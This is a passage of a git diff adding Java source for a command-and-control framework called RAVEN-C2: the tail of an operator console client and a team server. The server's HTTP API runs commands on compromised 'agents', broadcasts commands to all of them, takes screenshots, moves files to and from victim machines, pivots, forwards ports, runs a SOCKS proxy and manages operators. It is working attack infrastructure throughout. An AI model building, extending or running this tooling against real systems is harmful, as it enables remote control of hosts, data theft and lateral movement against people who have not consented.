ok" : "✘ fail", AnsiColor.White, Cmd, H.getOrDefault("Timestamp", ""), AnsiColor.Reset); + } + System.out.println(); + } catch (Exception Ex) { + Logger.Error(Ex.getMessage()); + } + } + + private void ShowSessionHistory(int Limit) { + try { + Map R = Post("/api/sessions/history", Map.of("Limit", Limit)); + @SuppressWarnings("unchecked") + List> Sess = (List>) R.getOrDefault("Sessions", new ArrayList<>()); + System.out.println(TerminalHelper.Box("SESSION HISTORY (last " + Limit + ")")); + System.out.println(); + Sess.forEach(S -> Logger.Custom(INDENT + "%s%s%s%n", AnsiColor.White, S, AnsiColor.Reset)); + System.out.println(); + } catch (Exception Ex) { + Logger.Error(Ex.getMessage()); + } + } + + private void Exec(int Id, String Cmd) { + try { + Map Body = new LinkedHashMap<>(); + Body.put("AgentId", Id); + Body.put("Command", Cmd); + Body.put("Operator", OperatorName); + Map R = Post("/api/command/execute", Body); + boolean Ok = Boolean.parseBoolean(R.getOrDefault("Success", "false").toString()); + PrintOutput(Ok, R.getOrDefault("Output", "").toString()); + } catch (Exception Ex) { + Logger.Error(Ex.getMessage()); + } + } + + private void SimpleExec(String[] Parts, String Cmd) { + try { + Exec(ParseInt(Parts[1]), Cmd); + } catch (NumberFormatException Ex) { + Logger.Warn("invalid session ID"); + } + } + + private void DoBroadcast(String Target, String Cmd) { + try { + Map Body = new LinkedHashMap<>(); + Body.put("Command", Cmd); + Body.put("Operator", OperatorName); + Map R; + if (Target.equals("all")) { + R = Post("/api/command/broadcastall", Body); + } else { + List Ids = new ArrayList<>(); + for (String S : Target.split(",")) + try { + Ids.add(Integer.parseInt(S.trim())); + } catch (Exception Ign) {} + Body.put("AgentIds", Ids); + R = Post("/api/command/broadcast", Body); + } + @SuppressWarnings("unchecked") + Map Results = (Map) R.getOrDefault("Results", new LinkedHashMap<>()); + Results.forEach((Id, V) -> { + @SuppressWarnings("unchecked") + Map Res = (Map) V; + boolean Ok = Boolean.parseBoolean(Res.getOrDefault("Success", "false").toString()); + Logger.Custom(INDENT + "%s[session-%s] %s%s%s%n", Ok ? AnsiColor.Green : AnsiColor.Red, Id, Ok ? "✔ " : "✘ ", Res.getOrDefault("Output", ""), AnsiColor.Reset); + }); + } catch (Exception Ex) { + Logger.Error(Ex.getMessage()); + } + } + + private void Kill(int Id) { + try { + Map R = Post("/api/agents/kill", Map.of("AgentId", Id)); + if (Boolean.parseBoolean(R.getOrDefault("Success", "false").toString())) Logger.Ok("session-" + Id + " terminated"); + else Logger.Error("kill failed: " + R.getOrDefault("Error", "?")); + } catch (Exception Ex) { + Logger.Error(Ex.getMessage()); + } + } + + private void DoDownload(int Id, String Path) { + try { + Map R = Post("/api/command/download", Map.of("AgentId", Id, "Path", Path, "Operator", OperatorName)); + PrintOutput(Boolean.parseBoolean(R.getOrDefault("Success", "false").toString()), R.getOrDefault("Output", "").toString()); + } catch (Exception Ex) { + Logger.Error(Ex.getMessage()); + } + } + + private void DoUpload(int Id, String Local, String Remote) { + try { + Map Body = new LinkedHashMap<>(); + Body.put("AgentId", Id); + Body.put("LocalPath", Local); + Body.put("RemotePath", Remote); + Body.put("Operator", OperatorName); + Map R = Post("/api/command/upload", Body); + PrintOutput(Boolean.parseBoolean(R.getOrDefault("Success", "false").toString()), R.getOrDefault("Output", "").toString()); + } catch (Exception Ex) { + Logger.Error(Ex.getMessage()); + } + } + + private void SetNote(int Id, String Note) { + try { + Map R = Post("/api/agents/note", Map.of("AgentId", Id, "Note", Note)); + if (Boolean.parseBoolean(R.getOrDefault("Success", "false").toString())) Logger.Ok("Note saved for session-" + Id); + } catch (Exception Ex) { + Logger.Error(Ex.getMessage()); + } + } + + private void GetNote(int Id) { + try { + Map R = Get("/api/agents"); + @SuppressWarnings("unchecked") + List> Agents = (List>) R.getOrDefault("Agents", new ArrayList<>()); + Agents.stream() + .filter(A -> ParseIntSafe(A.getOrDefault("ID", "-1").toString(), -1) == Id) + .findFirst() + .ifPresentOrElse(A -> Logger.Custom(INDENT + "Note [%d]: %s%s%s%n", Id, AnsiColor.White, A.getOrDefault("Note", "(none)"), AnsiColor.Reset), () -> Logger.Warn("session not found")); + } catch (Exception Ex) { + Logger.Error(Ex.getMessage()); + } + } + + private void SendChat(String To, String Msg) { + try { + Post("/api/team/chat/send", Map.of("To", To, "Message", Msg)); + Logger.Custom(INDENT + "%s→ %s:%s %s%n", AnsiColor.Green, To, AnsiColor.Reset, Msg); + } catch (Exception Ex) { + Logger.Error(Ex.getMessage()); + } + } + + private void PrintOutput(boolean Ok, String Out) { + if (Ok) System.out.println(TerminalHelper.OutputBox(Out)); + else Logger.Error(Out); + System.out.println(); + } + + private Map Post(String Path, Map Body) throws Exception { + String Payload = Json.toJson(Body != null ? Body : new LinkedHashMap<>()); + HttpRequest.Builder Req = HttpRequest.newBuilder() + .uri(URI.create("http://" + TsHost + ":" + TsPort + Path)) + .header("Content-Type", "application/json") + .POST(HttpRequest.BodyPublishers.ofString(Payload)); + if (Token != null) Req.header("Authorization", "Bearer " + Token); + HttpResponse Resp = Http.send(Req.build(), HttpResponse.BodyHandlers.ofString()); + @SuppressWarnings("unchecked") + Map R = Json.fromJson(Resp.body(), Map.class); + return R != null ? R : new LinkedHashMap<>(); + } + + private Map Get(String Path) throws Exception { + HttpRequest.Builder Req = HttpRequest.newBuilder() + .uri(URI.create("http://" + TsHost + ":" + TsPort + Path)) + .header("Content-Type", "application/json") + .GET(); + if (Token != null) Req.header("Authorization", "Bearer " + Token); + HttpResponse Resp = Http.send(Req.build(), HttpResponse.BodyHandlers.ofString()); + @SuppressWarnings("unchecked") + Map R = Json.fromJson(Resp.body(), Map.class); + return R != null ? R : new LinkedHashMap<>(); + } + + private static int ParseInt(String S) { + return Integer.parseInt(S.trim()); + } + + private static int ParseIntSafe(String S, int D) { + try { + return Integer.parseInt(S.trim()); + } catch (Exception Ex) { + return D; + } + } + + private static final class Logger { + + static void Ok(String M) { + System.out.printf(" %s✔ %s%s%n%n", AnsiColor.Green, M, AnsiColor.Reset); + } + + static void Warn(String M) { + System.out.printf(" %s⚠ %s%s%n", AnsiColor.White, M, AnsiColor.Reset); + } + + static void Error(String M) { + System.out.printf(" %s✘ %s%s%n", AnsiColor.Red, M, AnsiColor.Reset); + } + + static void Info(String M) { + System.out.println(M); + } + + static void Custom(String Fmt, Object... A) { + System.out.printf(Fmt, A); + } + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/TeamServer.java b/RAVEN-C2/src/main/java/com/raven/interfaces/TeamServer.java new file mode 100644 index 0000000..25e6d34 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/TeamServer.java @@ -0,0 +1,625 @@ +package com.raven.interfaces; + +import com.google.gson.Gson; +import com.raven.core.command.ExportCommand; +import com.raven.core.database.TeamDatabase; +import com.raven.core.database.TeamDatabase.OperatorRole; +import com.raven.core.event.EventManager.EventType; +import com.raven.core.output.EventLog; +import com.raven.core.output.Logger; +import com.raven.core.server.ListenerMode; +import com.raven.core.server.RavenServer; +import com.raven.core.session.Session; +import com.raven.interfaces.APP.api.AuthApi; +import com.raven.interfaces.APP.api.AuthApi.TokenInfo; +import com.raven.interfaces.APP.core.HttpRouter; +import com.raven.interfaces.APP.shared.HttpHelper; +import com.raven.interfaces.APP.shared.PathResolver; +import com.raven.utils.ServerConfig; +import com.raven.utils.SystemHelper; +import com.sun.net.httpserver.*; +import java.io.*; +import java.net.*; +import java.time.*; +import java.time.format.DateTimeFormatter; +import java.util.*; +import java.util.concurrent.*; + +public final class TeamServer { + + private static final long TOKEN_TTL_MS = 8L * 60 * 60 * 1000; + private static final int MAX_CHAT = 500; + private static final String MEDIA_JSON = "application/json"; + + @FunctionalInterface + private interface RouteHandler { + String Handle(HttpExchange E, TokenInfo T) throws Exception; + } + + private final ServerConfig Config; + private final ListenerMode Mode; + private final TeamDatabase Db; + private final AuthApi Auth; + private final EventLog Log; + private final ExportCommand Export; + private final PathResolver PathResolver; + private final Map Tokens = new ConcurrentHashMap<>(); + private final List> Chat = new CopyOnWriteArrayList<>(); + private final Gson Json = new Gson(); + + private RavenServer Server; + private HttpServer HttpSrv; + private HttpRouter Router; + private Instant ServerStartTime; + + public TeamServer(ServerConfig Config, ListenerMode Mode) { + this.Config = Config; + this.Mode = Mode; + this.Db = TeamDatabase.Connect(Config); + this.Auth = new AuthApi(this.Db); + this.Log = new EventLog(Config.GetMaxLogEntries()); + this.Export = new ExportCommand(Db, Log); + this.PathResolver = new PathResolver(TeamServer.class); + } + + public void Run(String Host, int Port) throws Exception { + HttpSrv = HttpServer.create(new InetSocketAddress(Host, Port), 128); + Router = new HttpRouter(HttpSrv, Config, PathResolver); + RegisterRoutes(); + HttpSrv.setExecutor(Executors.newFixedThreadPool(32)); + HttpSrv.start(); + Logger.Info("TeamServer web panel : http://" + Host + ":" + Port + "/"); + Logger.Info("API base : http://" + Host + ":" + Port + "/api/"); + Log.Add("TeamServer initialized — mode: " + Mode.name()); + } + + public void Stop() { + if (Server != null) Server.StopServer(); + if (HttpSrv != null) HttpSrv.stop(1); + Db.Close(); + Logger.Shutdown(); + } + + private void RegisterRoutes() { + // auth + route("/api/auth/login", this::ApiAuthLogin, false); + route("/api/auth/logout", this::ApiAuthLogout, true); + + // server control + route("/api/server/status", this::ApiServerStatus, true); + route("/api/server/start", this::ApiServerStart, true); + route("/api/server/stop", this::ApiServerStop, true); + + // agents + route("/api/agents", this::ApiAgents, true); + route("/api/agents/kill", this::ApiAgentKill, true); + route("/api/agents/note", this::ApiAgentNote, true); + route("/api/agents/notes/all", this::ApiAgentNotesAll, true); + + // commands + route("/api/command/execute", this::ApiCmdExec, true); + route("/api/command/broadcast", this::ApiCmdBroadcast, true); + route("/api/command/broadcastall", this::ApiCmdBroadcastAll, true); + route("/api/command/history", this::ApiCmdHistory, true); + route("/api/command/screenshot", this::ApiCmdScreenshot, true); + route("/api/command/download", this::ApiCmdDownload, true); + route("/api/command/upload", this::ApiCmdUpload, true); + route("/api/command/sleep", this::ApiCmdSleep, true); + route("/api/command/pivot", this::ApiCmdPivot, true); + route("/api/command/portfwd", this::ApiCmdPortfwd, true); + route("/api/command/socks", this::ApiCmdSocks, true); + + // sessions + route("/api/sessions/history", this::ApiSessionHistory, true); + + // logs + route("/api/logs", this::ApiLogs, true); + + // export + route("/api/export", this::ApiExport, true); + + // team — operators + route("/api/team/operators", this::ApiOpList, true); + route("/api/team/operators/create", this::ApiOpCreate, true); + route("/api/team/operators/delete", this::ApiOpDelete, true); + route("/api/team/operators/role", this::ApiOpRole, true); + route("/api/team/operators/password", this::ApiOpPassword, true); + route("/api/team/operators/kick", this::ApiOpKick, true); + route("/api/team/roles", this::ApiRoles, true); + + // team — chat + route("/api/team/chat/send", this::ApiChatSend, true); + route("/api/team/chat/messages", this::ApiChatMessages, true); + route("/api/team/chat/logs", this::ApiChatLogs, true); + + Router.RegisterStatic(); + } + + private void route(String Path, RouteHandler H, boolean Auth) { + HttpSrv.createContext(Path, E -> Dispatch(E, H, Auth)); + } + + private void Dispatch(HttpExchange E, RouteHandler H, boolean RequireAuth) { + try { + TokenInfo T = null; + if (RequireAuth) { + String Header = E.getRequestHeaders().getFirst("Authorization"); + if (Header == null || !Header.startsWith("Bearer ")) { + Respond(E, 401, Map.of("Error", "Unauthorized")); + return; + } + T = Tokens.get(Header.substring(7)); + if (T == null || T.ExpiresAt() < System.currentTimeMillis()) { + Respond(E, 401, Map.of("Error", "Token expired or invalid")); + return; + } + } + String Result = H.Handle(E, T); + byte[] Bytes = Result.getBytes("UTF-8"); + E.getResponseHeaders().set("Content-Type", MEDIA_JSON); + E.getResponseHeaders().set("X-Content-Type-Options", "nosniff"); + E.sendResponseHeaders(200, Bytes.length); + try (OutputStream Out = E.getResponseBody()) { + Out.write(Bytes); + } + } catch (Exception Ex) { + try { + Respond(E, 500, Map.of("Error", Ex.getMessage() != null ? Ex.getMessage() : "Internal error")); + } catch (Exception Ign) {} + } + } + + private void Respond(HttpExchange E, int Status, Object Body) throws IOException { + byte[] Bytes = HttpHelper.Json(Body).getBytes("UTF-8"); + E.getResponseHeaders().set("Content-Type", MEDIA_JSON); + E.sendResponseHeaders(Status, Bytes.length); + try (OutputStream Out = E.getResponseBody()) { + Out.write(Bytes); + } + } + + private Map Body(HttpExchange E) throws Exception { + try (InputStream In = E.getRequestBody()) { + byte[] Raw = In.readAllBytes(); + if (Raw.length == 0) return new HashMap<>(); + @SuppressWarnings("unchecked") + Map M = Json.fromJson(new String(Raw, "UTF-8"), Map.class); + return M != null ? M : new HashMap<>(); + } + } + + private String S(Map M, String K, String Def) { + return HttpHelper.Str(M, K, Def); + } + + private int N(Map M, String K, int Def) { + return HttpHelper.Num(M, K, Def); + } + + private void AddLog(String Msg) { + Log.Add(Msg, false); + Db.SaveLog(Msg); + } + + private String Uptime() { + if (ServerStartTime == null) return "00:00:00"; + return SystemHelper.FormatUptime(Duration.between(ServerStartTime, Instant.now()).getSeconds()); + } + + // AUTH + + private String ApiAuthLogin(HttpExchange E, TokenInfo Ignored) throws Exception { + Map B = Body(E); + String User = S(B, "Username", ""); + String Pass = S(B, "Password", ""); + if (User.isEmpty() || Pass.isEmpty()) return HttpHelper.Json(Map.of("Error", "Username and Password required")); + if (!Db.ValidateOperator(User, TeamDatabase.HashPassword(Pass))) return HttpHelper.Json(Map.of("Error", "Invalid credentials")); + OperatorRole Role = Db.GetOperatorRole(User); + Db.UpdateLastSeen(User); + String Token = UUID.randomUUID().toString().replace("-", ""); + Tokens.put(Token, new TokenInfo(User, Role, System.currentTimeMillis() + TOKEN_TTL_MS)); + Logger.Info("[AUTH] Login: " + User + " [" + Role + "]"); + AddLog("[AUTH] Login: " + User + " [" + Role + "]"); + return HttpHelper.Json(Map.of("Token", Token, "Role", Role.name(), "Username", User, "Permissions", Role.PermissionString(), "ExpiresIn", TOKEN_TTL_MS / 1000)); + } + + private String ApiAuthLogout(HttpExchange E, TokenInfo T) throws Exception { + String H = E.getRequestHeaders().getFirst("Authorization"); + if (H != null && H.startsWith("Bearer ")) { + Tokens.remove(H.substring(7)); + AddLog("[AUTH] Logout: " + T.Username()); + } + return HttpHelper.Json(Map.of("Success", true)); + } + + // SERVER + + private String ApiServerStatus(HttpExchange E, TokenInfo T) { + boolean Up = Server != null && Server.IsRunning(); + Map R = new LinkedHashMap<>(); + R.put("Status", Up ? "Online" : "Offline"); + R.put("Mode", Mode.name()); + R.put("Host", Up ? Server.GetHost() : Config.GetServerHost()); + R.put("Port", Up ? Server.GetPort() : Config.GetServerPort()); + R.put("Agents", Up ? Server.GetSessions().Count() : 0); + R.put("Uptime", Uptime()); + R.put("Operator", T.Username()); + R.put("Role", T.Role().name()); + R.put("Permissions", T.Role().PermissionString()); + R.put("DbType", Config.GetDatabaseType()); + R.put("DbOnline", Db.IsConnected()); + R.put("LogCount", Log.Count()); + if (Up) R.put("Key", Server.GetKeyBase64()); + return HttpHelper.Json(R); + } + + private String ApiServerStart(HttpExchange E, TokenInfo T) throws Exception { + if (!T.Role().CanManage()) return HttpHelper.Json(Map.of("Error", "ADMIN role required")); + if (Server != null && Server.IsRunning()) return HttpHelper.Json(Map.of("Error", "Server already running")); + Map B = Body(E); + String Host = S(B, "Host", Config.GetServerHost()); + int Port = N(B, "Port", Config.GetServerPort()); + Server = new RavenServer(Host, Port, Mode, Config); + Server.AddEventListener(this::OnEvent); + if (!Server.StartServer()[0]) return HttpHelper.Json(Map.of("Error", "Failed to start listener")); + ServerStartTime = Instant.now(); + Thread T2 = new Thread(Server::AcceptConnections, "AcceptConnections"); + T2.setDaemon(true); + T2.start(); + AddLog("Listener started on " + Host + ":" + Port + " by " + T.Username()); + return HttpHelper.Json(Map.of("Success", true, "Host", Host, "Port", Port)); + } + + private String ApiServerStop(HttpExchange E, TokenInfo T) { + if (!T.Role().CanManage()) return HttpHelper.Json(Map.of("Error", "ADMIN role required")); + if (Server == null || !Server.IsRunning()) return HttpHelper.Json(Map.of("Error", "Server not running")); + Server.StopServer(); + Server = null; + ServerStartTime = null; + AddLog("Listener stopped by " + T.Username()); + return HttpHelper.Json(Map.of("Success", true)); + } + + // AGENTS + + private String ApiAgents(HttpExchange E, TokenInfo T) { + if (Server == null || !Server.IsRunning()) return HttpHelper.Json(Map.of("Agents", List.of())); + List> Agents = new ArrayList<>(); + for (Session S : Server.GetSessions().GetAll()) { + Map A = new LinkedHashMap<>(); + A.put("ID", S.GetId()); + A.put("AgentName", S.GetAgentName()); + A.put("Hostname", S.GetHostname()); + A.put("OS", S.GetOs()); + A.put("User", S.GetUser()); + A.put("Arch", S.GetArch()); + A.put("AgentIP", S.GetAgentIp()); + A.put("JoinedAt", S.GetJoinedAt()); + A.put("Type", S.GetSessionType().name()); + A.put("ShellMode", S.GetShellMode()); + A.put("Encrypted", S.IsEncrypted()); + A.put("MtlsEnabled", S.IsMtlsEnabled()); + A.put("SessionKey", S.GetSessionKey()); + A.put("Note", Db.GetAgentNote(S.GetId())); + Agents.add(A); + } + return HttpHelper.Json(Map.of("Agents", Agents, "Count", Agents.size())); + } + + private String ApiAgentKill(HttpExchange E, TokenInfo T) throws Exception { + if (!T.Role().CanKillSession()) return HttpHelper.Json(Map.of("Error", "ADMIN role required")); + if (Server == null || !Server.IsRunning()) return HttpHelper.Json(Map.of("Error", "Server not running")); + int Id = N(Body(E), "AgentId", 0); + if (Id == 0) return HttpHelper.Json(Map.of("Error", "AgentId required")); + Server.RemoveSession(Id); + AddLog("[KILL] session-" + Id + " by " + T.Username()); + return HttpHelper.Json(Map.of("Success", true)); + } + + private String ApiAgentNote(HttpExchange E, TokenInfo T) throws Exception { + Map B = Body(E); + int Id = N(B, "AgentId", 0); + String Note = S(B, "Note", ""); + if (Id == 0) return HttpHelper.Json(Map.of("Error", "AgentId required")); + Db.SetAgentNote(Id, Note); + return HttpHelper.Json(Map.of("Success", true)); + } + + private String ApiAgentNotesAll(HttpExchange E, TokenInfo T) { + return HttpHelper.Json(Map.of("Notes", Db.GetAllAgentNotes())); + } + + // COMMANDS + + private String ApiCmdExec(HttpExchange E, TokenInfo T) throws Exception { + if (!T.Role().CanExecute()) return HttpHelper.Json(Map.of("Error", "OPERATOR or ADMIN role required")); + if (Server == null || !Server.IsRunning()) return HttpHelper.Json(Map.of("Error", "Server not running")); + Map B = Body(E); + int Id = N(B, "AgentId", 0); + String Cmd = S(B, "Command", ""); + if (Id == 0 || Cmd.isEmpty()) return HttpHelper.Json(Map.of("Error", "AgentId and Command required")); + AddLog("[>] [" + T.Username() + "] session-" + Id + " » " + Cmd); + String[] R = Server.ExecuteCommand(Id, Cmd); + boolean Ok = Boolean.parseBoolean(R[0]); + Db.SaveCommandLog(Id, T.Username(), Cmd, R[1], Ok); + return HttpHelper.Json(Map.of("Success", Ok, "Output", R[1], "Command", Cmd)); + } + + private String ApiCmdBroadcast(HttpExchange E, TokenInfo T) throws Exception { + if (!T.Role().CanBroadcast()) return HttpHelper.Json(Map.of("Error", "OPERATOR or ADMIN role required")); + if (Server == null || !Server.IsRunning()) return HttpHelper.Json(Map.of("Error", "Server not running")); + Map B = Body(E); + String Cmd = S(B, "Command", ""); + if (Cmd.isEmpty()) return HttpHelper.Json(Map.of("Error", "Command required")); + @SuppressWarnings("unchecked") + List Raw = (List) B.getOrDefault("AgentIds", List.of()); + List Ids = new ArrayList<>(); + for (Object O : Raw) + try { + Ids.add((int) Double.parseDouble(O.toString())); + } catch (Exception Ign) {} + if (Ids.isEmpty()) return HttpHelper.Json(Map.of("Error", "AgentIds required")); + AddLog("[BROADCAST] [" + T.Username() + "] > " + Ids.size() + " agents » " + Cmd); + return BuildBroadcastResult(Server.BroadcastCommand(Ids, Cmd), T.Username(), Cmd); + } + + private String ApiCmdBroadcastAll(HttpExchange E, TokenInfo T) throws Exception { + if (!T.Role().CanBroadcast()) return HttpHelper.Json(Map.of("Error", "OPERATOR or ADMIN role required")); + if (Server == null || !Server.IsRunning()) return HttpHelper.Json(Map.of("Error", "Server not running")); + String Cmd = S(Body(E), "Command", ""); + if (Cmd.isEmpty()) return HttpHelper.Json(Map.of("Error", "Command required")); + AddLog("[BROADCAST-ALL] [" + T.Username() + "] > " + Server.GetSessions().Count() + " agents » " + Cmd); + return BuildBroadcastResult(Server.BroadcastAll(Cmd), T.Username(), Cmd); + } + + private String BuildBroadcastResult(Map Results, String Operator, String Cmd) { + Map Out = new LinkedHashMap<>(); + for (Map.Entry En : Results.entrySet()) { + boolean Ok = Boolean.parseBoolean(En.getValue()[0]); + Out.put(String.valueOf(En.getKey()), Map.of("Success", Ok, "Output", En.getValue()[1])); + Db.SaveCommandLog(En.getKey(), Operator, Cmd, En.getValue()[1], Ok); + } + return HttpHelper.Json(Map.of("Success", true, "Results", Out, "Count", Results.size())); + } + + private String ApiCmdScreenshot(HttpExchange E, TokenInfo T) throws Exception { + if (!T.Role().CanExecute()) return HttpHelper.Json(Map.of("Error", "OPERATOR or ADMIN role required")); + int Id = N(Body(E), "AgentId", 0); + if (Id == 0 || Server == null) return HttpHelper.Json(Map.of("Error", "AgentId required")); + String[] R = Server.ExecuteCommand(Id, "screenshot"); + boolean Ok = Boolean.parseBoolean(R[0]); + Db.SaveCommandLog(Id, T.Username(), "screenshot", R[1], Ok); + return HttpHelper.Json(Map.of("Success", Ok, "Output", R[1])); + } + + private String ApiCmdDownload(HttpExchange E, TokenInfo T) throws Exception { + if (!T.Role().CanExecute()) return HttpHelper.Json(Map.of("Error", "OPERATOR or ADMIN role required")); + Map B = Body(E); + int Id = N(B, "AgentId", 0); + String Path = S(B, "Path", ""); + if (Id == 0 || Path.isEmpty()) return HttpHelper.Json(Map.of("Error", "AgentId and Path required")); + String[] R = Server.ExecuteCommand(Id, "download " + Path); + boolean Ok = Boolean.parseBoolean(R[0]); + Db.SaveCommandLog(Id, T.Username(), "download " + Path, R[1], Ok); + return HttpHelper.Json(Map.of("Success", Ok, "Output", R[1])); + } + + private String ApiCmdUpload(HttpExchange E, TokenInfo T) throws Exception { + if (!T.Role().CanExecute()) return HttpHelper.Json(Map.of("Error", "OPERATOR or ADMIN role required")); + Map B = Body(E); + int Id = N(B, "AgentId", 0); + String Local = S(B, "LocalPath", ""); + String Remote = S(B, "RemotePath", ""); + if (Id == 0 || Local.isEmpty()) return HttpHelper.Json(Map.of("Error", "AgentId and LocalPath required")); + String[] R = Server.ExecuteCommand(Id, "upload " + Local + (Remote.isEmpty() ? "" : " " + Remote)); + boolean Ok = Boolean.parseBoolean(R[0]); + Db.SaveCommandLog(Id, T.Username(), "upload " + Local, R[1], Ok); + return HttpHelper.Json(Map.of("Success", Ok, "Output", R[1])); + } + + private String ApiCmdSleep(HttpExchange E, TokenInfo T) throws Exception { + Map B = Body(E); + int Id = N(B, "AgentId", 0); + String Secs = S(B, "Seconds", ""); + if (Id == 0 || Secs.isEmpty()) return HttpHelper.Json(Map.of("Error", "AgentId and Seconds required")); + String[] R = Server.ExecuteCommand(Id, "sleep " + Secs); + return HttpHelper.Json(Map.of("Success", Boolean.parseBoolean(R[0]), "Output", R[1])); + } + + private String ApiCmdPivot(HttpExchange E, TokenInfo T) throws Exception { + Map B = Body(E); + int Id = N(B, "AgentId", 0); + String Target = S(B, "Target", ""); + if (Id == 0 || Target.isEmpty()) return HttpHelper.Json(Map.of("Error", "AgentId and Target required")); + String[] R = Server.ExecuteCommand(Id, "pivot " + Target); + return HttpHelper.Json(Map.of("Success", Boolean.parseBoolean(R[0]), "Output", R[1])); + } + + private String ApiCmdPortfwd(HttpExchange E, TokenInfo T) throws Exception { + Map B = Body(E); + int Id = N(B, "AgentId", 0); + int Lport = N(B, "Lport", 0); + String Rhost = S(B, "Rhost", ""); + int Rport = N(B, "Rport", 0); + if (Id == 0 || Lport == 0 || Rhost.isEmpty() || Rport == 0) return HttpHelper.Json(Map.of("Error", "AgentId, Lport, Rhost, Rport required")); + String[] R = Server.ExecuteCommand(Id, "portfwd " + Lport + " " + Rhost + " " + Rport); + return HttpHelper.Json(Map.of("Success", Boolean.parseBoolean(R[0]), "Output", R[1])); + } + + private String ApiCmdSocks(HttpExchange E, TokenInfo T) throws Exception { + Map B = Body(E); + int Id = N(B, "AgentId", 0); + int Lport = N(B, "Lport", 0); + if (Id == 0 || Lport == 0) return HttpHelper.Json(Map.of("Error", "AgentId and Lport required")); + String[] R = Server.ExecuteCommand(Id, "socks " + Lport); + return HttpHelper.Json(Map.of("Success", Boolean.parseBoolean(R[0]), "Output", R[1])); + } + + private String ApiCmdHistory(HttpExchange E, TokenInfo T) throws Exception { + Map B = Body(E); + return HttpHelper.Json(Map.of("History", Db.GetCommandHistory(N(B, "AgentId", 0), N(B, "Limit", 100)))); + } + + // SESSIONS + + private String ApiSessionHistory(HttpExchange E, TokenInfo T) throws Exception { + int Limit = N(Body(E), "Limit", 100); + return HttpHelper.Json(Map.of("Sessions", Db.GetSessionHistory(Math.min(Limit, 1000)))); + } + + // LOGS + + private String ApiLogs(HttpExchange E, TokenInfo T) { + return HttpHelper.Json(Map.of("Logs", Log.GetAll(), "Count", Log.Count())); + } + + // EXPORT + + private String ApiExport(HttpExchange E, TokenInfo T) throws Exception { + Map B = Body(E); + String Target = S(B, "Target", ""); + String Format = S(B, "Format", "json"); + if (Target.isEmpty()) return HttpHelper.Json(Map.of("Error", "Target required")); + Export.Run(Target, Format); + return HttpHelper.Json(Map.of("Success", true, "Target", Target, "Format", Format)); + } + + // OPERATORS + + private String ApiOpList(HttpExchange E, TokenInfo T) { + if (!T.Role().CanManage()) return HttpHelper.Json(Map.of("Error", "ADMIN role required")); + return HttpHelper.Json(Map.of("Operators", Db.GetOperators())); + } + + private String ApiOpCreate(HttpExchange E, TokenInfo T) throws Exception { + if (!T.Role().CanManage()) return HttpHelper.Json(Map.of("Error", "ADMIN role required")); + Map B = Body(E); + String User = S(B, "Username", ""); + String Pass = S(B, "Password", ""); + String Role = S(B, "Role", "OPERATOR"); + if (User.isEmpty() || Pass.isEmpty()) return HttpHelper.Json(Map.of("Error", "Username and Password required")); + if (Pass.length() < 8) return HttpHelper.Json(Map.of("Error", "Password must be at least 8 characters")); + OperatorRole R = OperatorRole.FromString(Role); + if (R == OperatorRole.SUPER && !T.Role().IsSuperAdmin()) return HttpHelper.Json(Map.of("Error", "Only SUPER can create SUPER")); + if (!Db.CreateOperator(User, TeamDatabase.HashPassword(Pass), R)) return HttpHelper.Json(Map.of("Error", "Username already exists")); + AddLog("[TEAM] Created operator: " + User + " [" + R + "] by " + T.Username()); + return HttpHelper.Json(Map.of("Success", true, "Username", User, "Role", R.name())); + } + + private String ApiOpDelete(HttpExchange E, TokenInfo T) throws Exception { + if (!T.Role().CanManage()) return HttpHelper.Json(Map.of("Error", "ADMIN role required")); + String User = S(Body(E), "Username", ""); + if (User.isEmpty()) return HttpHelper.Json(Map.of("Error", "Username required")); + if (User.equalsIgnoreCase(Config.GetAdminUsername())) return HttpHelper.Json(Map.of("Error", "Cannot delete admin")); + if (!Db.DeleteOperator(User)) return HttpHelper.Json(Map.of("Error", "Operator not found")); + AddLog("[TEAM] Deleted operator: " + User + " by " + T.Username()); + return HttpHelper.Json(Map.of("Success", true)); + } + + private String ApiOpRole(HttpExchange E, TokenInfo T) throws Exception { + if (!T.Role().CanManage()) return HttpHelper.Json(Map.of("Error", "ADMIN role required")); + Map B = Body(E); + String User = S(B, "Username", ""); + String Role = S(B, "Role", ""); + if (User.isEmpty() || Role.isEmpty()) return HttpHelper.Json(Map.of("Error", "Username and Role required")); + if (User.equalsIgnoreCase(Config.GetAdminUsername())) return HttpHelper.Json(Map.of("Error", "Cannot change admin role")); + OperatorRole R = OperatorRole.FromString(Role); + if (!Db.UpdateOperatorRole(User, R)) return HttpHelper.Json(Map.of("Error", "Operator not found")); + AddLog("[TEAM] Role updated: " + User + " → " + R + " by " + T.Username()); + return HttpHelper.Json(Map.of("Success", true)); + } + + private String ApiOpPassword(HttpExchange E, TokenInfo T) throws Exception { + if (!T.Role().CanManage()) return HttpHelper.Json(Map.of("Error", "ADMIN role required")); + Map B = Body(E); + String User = S(B, "Username", ""); + String Pass = S(B, "Password", ""); + if (User.isEmpty() || Pass.isEmpty()) return HttpHelper.Json(Map.of("Error", "Username and Password required")); + if (Pass.length() < 8) return HttpHelper.Json(Map.of("Error", "Password must be at least 8 characters")); + if (!Db.UpdateOperatorPassword(User, TeamDatabase.HashPassword(Pass))) return HttpHelper.Json(Map.of("Error", "Operator not found")); + AddLog("[TEAM] Password changed: " + User + " by " + T.Username()); + return HttpHelper.Json(Map.of("Success", true)); + } + + private String ApiOpKick(HttpExchange E, TokenInfo T) throws Exception { + if (!T.Role().CanKickOperator()) return HttpHelper.Json(Map.of("Error", "SUPER role required")); + String User = S(Body(E), "Username", ""); + if (User.isEmpty()) return HttpHelper.Json(Map.of("Error", "Username required")); + if (User.equalsIgnoreCase(Config.GetAdminUsername())) return HttpHelper.Json(Map.of("Error", "Cannot kick admin")); + if (User.equals(T.Username())) return HttpHelper.Json(Map.of("Error", "Cannot kick yourself")); + Tokens.entrySet().removeIf(En -> En.getValue().Username().equals(User)); + if (!Db.DeleteOperator(User)) return HttpHelper.Json(Map.of("Error", "Operator not found")); + AddLog("[TEAM] Kicked: " + User + " by " + T.Username()); + return HttpHelper.Json(Map.of("Success", true)); + } + + private String ApiRoles(HttpExchange E, TokenInfo T) { + List> Roles = new ArrayList<>(); + for (OperatorRole R : OperatorRole.values()) { + Map M = new LinkedHashMap<>(); + M.put("Name", R.name()); + M.put("Permissions", R.PermissionString()); + M.put("CanExec", R.CanExecute()); + M.put("CanWrite", R.CanWrite()); + M.put("CanRead", R.CanRead()); + M.put("CanKill", R.CanKillSession()); + M.put("CanManage", 